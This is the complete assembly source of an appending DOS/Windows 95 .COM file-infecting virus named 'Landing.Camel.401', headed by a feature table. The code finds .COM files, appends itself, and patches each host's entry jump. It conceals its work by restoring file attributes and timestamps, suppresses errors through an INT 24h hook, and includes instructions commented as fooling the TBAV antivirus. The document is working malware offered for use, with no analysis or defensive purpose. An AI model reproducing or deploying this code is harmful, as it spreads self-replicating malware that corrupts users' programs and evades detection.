;==================================================;| ; LANDING.CAMEL.1.401 ;| ;==================================================;| ; TSR..................... No ;| ; Appending Virus......... Yes ;| ; COM infector............ Yes ;| ; Windows95 COM infector.. Yes ;| ; Reset Attributes........ Yes ;| ; Reset Time/Date......... Yes ;| ; Error trapping.......... Yes ;| ;==================================================;| ;| CODE SEGMENT ;| ASSUME CS:CODE,DS:CODE ;| ;| ORG 100H ;| ;| ;**************************************************;| ; This is where the virus starts ;| ;**************************************************;| ;| ;==================================================;| BEGIN: ;| ;==================================================;| ;| DB 0E9H ;|contains the jump code DW 0 ;|contains the offset where to jump ;| ;==================================================;| START: ;| ;==================================================;| ;| CALL FIND_OFFSET ;|calculate the delta offset ;| ;**************************************************;| ; Calculate the Delta Offset ;| ;**************************************************;| ;| ;==================================================;| FIND_OFFSET: ;| ;==================================================;| ;| POP BP ;| SUB BP,OFFSET FIND_OFFSET ;|BP now contains the delta offset ;| ;**************************************************;| ; Restore the original 3 bytes of the file ;| ;**************************************************;| ;| ;==================================================;| RESTORE_BYTES: ;| ;==================================================;| ;| LEA DI,[BP+JMP_BUF] ;|Restore 3 bytes into memory MOV SI,100H ;| XCHG SI,DI ;| PUSH DI ;|Save 100H for the return MOVSW ;|Move word into memory MOVSB ;|Move byte into memory ;| ;**************************************************;| ; Set a new DTA ;| ;**************************************************;| ;| LEA DX,[BP+DTA] ;|Set new dta buffer which is 42 bytes MOV AH,1AH ;|DOS function=Set Disk Transfer Address INT 21H ;| ;| ;**************************************************;| ; Find first file to infect ;| ;**************************************************;| ;| MOV BH,4EH ;|DOS function=Find 1st Matching File XCHG AX,BX ;|Fool TBAV MOV CX,7 ;|Any file attribute LEA DX,[BP+TYPE_COM] ;|Search for .COM files only ;| ;==================================================;| FIND_FILE: ;| ;==================================================;| ;| INT 21H ;| JC QUIT ;|No matching file found ;| ;**************************************************;| ; Check the extension to ensure it is a COM ;| ;**************************************************;| ;| MOV CX,13D ;|Max size of a file name LEA SI,[BP+OFFSET DTA+1EH] ;|Load offset of filename ;| ;==================================================;| CHECK_EXTENSION: ;|Loop to test extension ;==================================================;| ;| LODSB ;|Load a letter into AL CMP AL,"." ;|Is it a point? JNE CHECK_EXTENSION ;|No! Test the next letter INC SI ;|Yes! Now SI points to second extension letter CMP WORD PTR [SI], "MO" ;|Second and third letters are "OM"? JNE FIND_NEXT ;|No! Find Next JMP INFECT ;|Go infect the bastard ;| ;**************************************************;| ; All finished so let us be leaving now ;| ;**************************************************;| ;| ;==================================================;| QUIT: ;| ;==================================================;| ;| ;**************************************************;| ; Restore original DTA ;| ;**************************************************;| ;| MOV AX,80H ;|Change the DTA to original MOV DH,1AH ;|DOS function=Set Disk Transfer Address XCHG AX,DX ;| INT 21H ;| ;| ;**************************************************;| ; Clear registers ;| ;**************************************************;| ;| XOR AX,AX ;| XOR BX,BX ;| XOR CX,CX ;| CWD ;| XOR BP,BP ;| XOR SI,SI ;| XOR DI,DI ;| ;| PUSH CS ;| POP ES ;| ;| PUSH CS ;| POP DS ;| ;| ;**************************************************;| ; Pass control to the host program in memory ;| ;**************************************************;| ;| RET ;| ;| ;**************************************************;| ; Find the next file to infect ;| ;**************************************************;| ;| ;==================================================;| FIND_NEXT: ;| ;==================================================;| ;| MOV BH,4FH ;|DOS function=Find Next Matching File XCHG AX,BX ;|Fool TBAV LEA DX,[BP+TYPE_COM] ;|Search for .COM files only MOV CX,7 ;|Any file attribute JMP FIND_FILE ;|jump to find next ;| ;==================================================;| INFECT: ;| ;==================================================;| ;| ;**************************************************;| ; Put in a new int 24h ;| ;**************************************************;| ;| PUSH ES ;| ;| MOV AX,3524H ;|DOS function - get interrupt vector INT 21H ;| MOV WORD PTR [BP+OLD_24_SEG],ES ;|Save the segment MOV WORD PTR [BP+OLD_24_OFS],BX ;|Save the offset ;| POP ES ;| ;| MOV AX,2524H ;|Set new vector for INT24h LEA DX,[BP+NEW_INT24] ;|Make it point to our procedure INT 21H ;| ;| ;**************************************************;| ; Save original attributes ;| ;**************************************************;| ;| LEA DX,[BP+DTA+1EH] ;|dx holds the name of the file XOR CH,CH ;| MOV CL,[BP+OFFSET DTA+15H] ;|get file attributes from DTA MOV BYTE PTR[BP+OLD_ATTR],CL ;|save them into file_attr variable ;| ;**************************************************;| ; Reset attributes to archive ;| ;**************************************************;| ;| MOV CX,4301H ;|DOS function=Set File Attribute XOR AX,AX ;|CX=0 so file attribute is normal file XCHG AX,CX ;| INT 21H ;| ;| ;**************************************************;| ; Open file for reading and writing and xchg ;| ;**************************************************;| ;| MOV AX,3D02H ;|DOS function=Open a File (Read and Write) LEA DX,[BP+DTA+1EH] ;|DX holds the name of the file INT 21H ;| ;| XCHG BX,AX ;|Exchange bx with ax ;| ;**************************************************;| ; Save original time and date ;| ;**************************************************;| ;| MOV AX,5700H ;|DOS function=Get File Time/Date INT 21H ;| MOV WORD PTR [BP+OLD_TIME],CX ;|Save old time in file_time MOV WORD PTR [BP+OLD_DATE],DX ;|Save old date in file_date ;| ;**************************************************;| ; Check file for previous infection ;| ;**************************************************;| ;| MOV AH,3FH ;|DOS function=Read from File LEA DX,[BP+JMP_BUF] ;|Save them into jmpbuf MOV CX,3 ;|Read 3 bytes INT 21H ;| ;| MOV AX,WORD PTR [BP+DTA+26] ;|Get filesize from DTA in AX MOV CX,WORD PTR [BP+JMP_BUF+1] ;| ADD CX,HEAP-START+3 ;|CX=filesize-virus+3 CMP CX,AX ;|Compare the 2 values ;| JE CLOSE_FILE ;|Already infected! ;| ;**************************************************;| ; Check file for infection criteria ;| ;**************************************************;| ;| MOV AX,WORD PTR [BP+DTA+26] ;|Get filesize from DTA in AX ;| CMP AX,60000 ;| JA CLOSE_FILE ;|File is too large ;| CMP AX,5000 ;| JB CLOSE_FILE ;|File is too small ;| CMP BYTE PTR [BP+JMP_BUF],'Z' ;| JZ CLOSE_FILE ;|File is really a .EXE ;| CMP BYTE PTR [BP+JMP_BUF],'M' ;| JZ CLOSE_FILE ;|File is really a .EXE ;| ;**************************************************;| ; Prepare the jump ;| ;**************************************************;| ;| MOV BYTE PTR [BP+BUFFER],0E9H ;|JMP code MOV AX,WORD PTR [BP+DTA+26] ;|Get file size SUB AX,3 ;|AX=filesize-3 (size of JMP) MOV WORD PTR [BP+BUFFER+1],AX ;|Offset of JMP ;| ;**************************************************;| ; Goto the beginning of the file ;| ;**************************************************;| ;| MOV AX,4200H ;|DOS function=Set File Pointer XOR CX,CX ;|go to beginning of file (BOF) CWD ;| INT 21H ;| ;| ;**************************************************;| ; Write our jump ;| ;**************************************************;| ;| MOV AX,03H ;|DOS function=Write to File MOV CH,40H ;|Write 3 bytes to beginning of file LEA DX,[BP+BUFFER] ;|From buffer XCHG AX,CX ;| INT 21H ;| ;| ;**************************************************;| ; Goto end of the file and read in 7 bytes ;| ;**************************************************;| ;| MOV AX,4202H ;|seek to EOF - 7 MOV DX,-7 ;| MOV CX,-1 ;| INT 21H ;| ;| MOV AH,3FH ;| LEA DX,[BP+EOF_BUF] ;|read in 7 bytes MOV CX,7 ;| INT 21H ;| ;| ;**************************************************;| ; Add the virus size to the last 2 bytes ;| ;**************************************************;| ;| ADD WORD PTR [BP + EOF_BUF + 5],HEAP-START ;| ;| ;**************************************************;| ; Goto the end of the file ;| ;**************************************************;| ;| MOV AX,4202H ;|DOS function=Set File Pointer XOR CX,CX ;|Go to end of file (EOF) CWD ;| INT 21H ;| ;| ;**************************************************;| ; Write virus to the end of the file ;| ;**************************************************;| ;| MOV AH,40H ;|DOS function=Write to File MOV CX,HEAP-START ;|Size of virus LEA DX,[BP+START] ;|From beginning INT 21H ;| ;| ;==================================================;| CLOSE_FILE: ;| ;==================================================;| ;| ;**************************************************;| ; Restore original time/date attributes ;| ;**************************************************;| ;| MOV AX,5700H ;|DOS function=Set File Time/Date MOV DX,WORD PTR [BP+OLD_DATE] ;|DX=original date value MOV CX,WORD PTR [BP+OLD_TIME] ;|CX=original time value ADD AX,1 ;| INT 21H ;| ;| ;**************************************************;| ; Close the file ;| ;**************************************************;| ;| MOV AH,3EH ;|close file function INT 21H ;|calling interrupt ;| ;**************************************************;| ; Restore original file attributes ;| ;**************************************************;| ;| LEA DX,[BP+OFFSET DTA+1EH] ;|DX=file name XOR AH,AH ;| MOV AL,BYTE PTR [BP+OLD_ATTR] ;|CL=original file attribute MOV CX,4301H ;|DOS function=Set File Attribute XCHG AX,CX ;| INT 21H ;| ;| ;**************************************************;| ; Restore int24h ;| ;**************************************************;| ;| MOV AX,2524H ;| MOV DS,WORD PTR [BP + OLD_24_SEG] ;| MOV DX,WORD PTR [BP + OLD_24_OFS] ;| INT 21H ;| ;| ;**************************************************;| ; Finished infection, search for more files ;| ;**************************************************;| ;| JMP FIND_NEXT ;| ;| ;==================================================;| NEW_INT24: ;|Our INT 24h handler ;==================================================;| ;| ;**************************************************;| ; New Int 24h handler ;| ;**************************************************;| ;| MOV AX,3 ;|Don't display errors IRET ;|Return from interrupt ;| ;**************************************************;| ; Data entries ;| ;**************************************************;| ;| MSG DB 'Landing.Camel.401',0 ;|Virus name and author JMP_BUF DB 0CDH,20H,0 ;|INT 20H TYPE_COM DB '*.C*',0 ;|What kind of files to search OLD_24_OFS DW ? ;|INT 24h offset OLD_24_SEG DW ? ;|INT 24h segment EOF_BUF DB 7 DUP (?) ;|Buffer at EOF ;| ;==================================================;| HEAP: ;| ;==================================================;| ;| DTA DB 43 DUP (?) ;|Our new DTA buffer OLD_ATTR DB ? ;|Original file attributes OLD_TIME DW ? ;|Original file time OLD_DATE DW ? ;|Original file date BUFFER DB 3 DUP (?) ;|3 bytes buffer. Used for checking ;|if the file was already infected. CODE ENDS END BEGIN